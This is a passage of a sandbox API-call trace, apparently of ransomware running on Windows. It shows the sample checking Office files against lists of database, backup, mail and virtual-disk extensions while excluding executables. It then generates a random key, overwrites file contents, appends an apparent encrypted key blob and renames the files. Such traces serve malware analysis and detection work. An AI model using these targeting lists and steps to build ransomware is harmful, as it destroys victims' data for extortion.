	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dbx") returned 0x0
	[0135.412] lstrlenW (lpString=".DB3") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DB3") returned 0x0
	[0135.413] lstrlenW (lpString=".DAT") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DAT") returned 0x0
	[0135.413] lstrlenW (lpString=".VHDX") returned 5
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0135.413] lstrlenW (lpString=".ndf") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".ndf") returned 0x0
	[0135.413] lstrlenW (lpString=".DB") returned 3
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DB") returned 0x0
	[0135.413] lstrlenW (lpString=".sql") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".sql") returned 0x0
	[0135.413] lstrlenW (lpString=".MYD") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".MYD") returned 0x0
	[0135.413] lstrlenW (lpString=".DBT") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DBT") returned 0x0
	[0135.413] lstrlenW (lpString=".ACCDB") returned 6
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0135.413] lstrlenW (lpString=".fdb") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".fdb") returned 0x0
	[0135.413] lstrlenW (lpString=".bak") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".bak") returned 0x0
	[0135.413] lstrlenW (lpString=".myd") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".myd") returned 0x0
	[0135.413] lstrlenW (lpString=".DTXS") returned 5
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0135.413] lstrlenW (lpString=".ckp") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".ckp") returned 0x0
	[0135.413] lstrlenW (lpString=".dbt") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dbt") returned 0x0
	[0135.413] lstrlenW (lpString=".db") returned 3
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".db") returned 0x0
	[0135.413] lstrlenW (lpString=".TXT") returned 4
	[0135.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".TXT") returned 0x0
	[0135.413] lstrlenW (lpString=".MDF") returned 4
	[0135.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".MDF") returned 0x0
	[0135.414] lstrlenW (lpString=".bdb") returned 4
	[0135.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".bdb") returned 0x0
	[0135.414] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.414] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0598) returned 1
	[0135.415] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.415] CryptReleaseContext (hProv=0x3a0598, dwFlags=0x0) returned 1
	[0135.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.415] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25540528697) returned 1
	[0135.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba26ff70, dwHighDateTime=0x1d60e1e)) 
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825198
	[0135.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825198 | out: hHeap=0x300000) returned 1
	[0135.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.416] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.416] GetLastError () returned 0x0
	[0135.417] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.417] GetLastError () returned 0x0
	[0135.422] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.422] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.423] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.424] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.425] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.425] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.425] CloseHandle (hObject=0x140) returned 1
	[0135.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.426] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.~~~~")) returned 1
	[0135.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c51b0 | out: hHeap=0x300000) returned 1
	[0135.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.428] GetLastError () returned 0x0
	[0135.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0135.428] lstrlenW (lpString=".cmd") returned 4
	[0135.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0135.428] lstrlenW (lpString=".dll") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0135.429] lstrlenW (lpString=".bat") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0135.429] lstrlenW (lpString=".cpl") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0135.429] lstrlenW (lpString=".sys") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0135.429] lstrlenW (lpString=".msc") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0135.429] lstrlenW (lpString=".com") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0135.429] lstrlenW (lpString=".lnk") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0135.429] lstrlenW (lpString=".msp") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0135.429] lstrlenW (lpString=".pif") returned 4
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0135.429] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.603] lstrlenW (lpString=".sqb") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0135.603] lstrlenW (lpString=".ost") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0135.603] lstrlenW (lpString=".txt") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0135.603] lstrlenW (lpString=".mdt") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0135.603] lstrlenW (lpString=".BDB") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0135.603] lstrlenW (lpString=".eql") returned 4
	[0135.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0135.603] lstrlenW (lpString=".DBF") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0135.604] lstrlenW (lpString=".EQL") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0135.604] lstrlenW (lpString=".FDB") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0135.604] lstrlenW (lpString=".EDB") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0135.604] lstrlenW (lpString=".DACPAC") returned 7
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0135.604] lstrlenW (lpString=".VHD") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0135.604] lstrlenW (lpString=".DBV") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0135.604] lstrlenW (lpString=".dacpac") returned 7
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0135.604] lstrlenW (lpString=".sdf") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0135.604] lstrlenW (lpString=".accdb") returned 6
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0135.604] lstrlenW (lpString=".DBX") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0135.604] lstrlenW (lpString=".MDT") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0135.604] lstrlenW (lpString=".SQB") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0135.604] lstrlenW (lpString=".vhd") returned 4
	[0135.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0135.605] lstrlenW (lpString=".bac") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0135.605] lstrlenW (lpString=".mdf") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0135.605] lstrlenW (lpString=".BAK") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0135.605] lstrlenW (lpString=".BAC") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0135.605] lstrlenW (lpString=".dbs") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0135.605] lstrlenW (lpString=".vhdx") returned 5
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0135.605] lstrlenW (lpString=".NDF") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0135.605] lstrlenW (lpString=".dat") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0135.605] lstrlenW (lpString=".DBS") returned 4
	[0135.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0135.606] lstrlenW (lpString=".CKP") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0135.606] lstrlenW (lpString=".edb") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0135.606] lstrlenW (lpString=".PST") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0135.606] lstrlenW (lpString=".dbf") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0135.606] lstrlenW (lpString=".SQL") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0135.606] lstrlenW (lpString=".pst") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0135.606] lstrlenW (lpString=".dbv") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0135.606] lstrlenW (lpString=".SDF") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0135.606] lstrlenW (lpString=".dtxs") returned 5
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0135.606] lstrlenW (lpString=".db3") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0135.606] lstrlenW (lpString=".OST") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0135.606] lstrlenW (lpString=".dbx") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0135.606] lstrlenW (lpString=".DB3") returned 4
	[0135.606] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0135.606] lstrlenW (lpString=".DAT") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0135.607] lstrlenW (lpString=".VHDX") returned 5
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0135.607] lstrlenW (lpString=".ndf") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0135.607] lstrlenW (lpString=".DB") returned 3
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0135.607] lstrlenW (lpString=".sql") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0135.607] lstrlenW (lpString=".MYD") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0135.607] lstrlenW (lpString=".DBT") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0135.607] lstrlenW (lpString=".ACCDB") returned 6
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0135.607] lstrlenW (lpString=".fdb") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0135.607] lstrlenW (lpString=".bak") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0135.607] lstrlenW (lpString=".myd") returned 4
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0135.607] lstrlenW (lpString=".DTXS") returned 5
	[0135.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0135.607] lstrlenW (lpString=".ckp") returned 4
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0135.608] lstrlenW (lpString=".dbt") returned 4
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0135.608] lstrlenW (lpString=".db") returned 3
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0135.608] lstrlenW (lpString=".TXT") returned 4
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0135.608] lstrlenW (lpString=".MDF") returned 4
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0135.608] lstrlenW (lpString=".bdb") returned 4
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0135.608] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.608] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0620) returned 1
	[0135.610] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.610] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
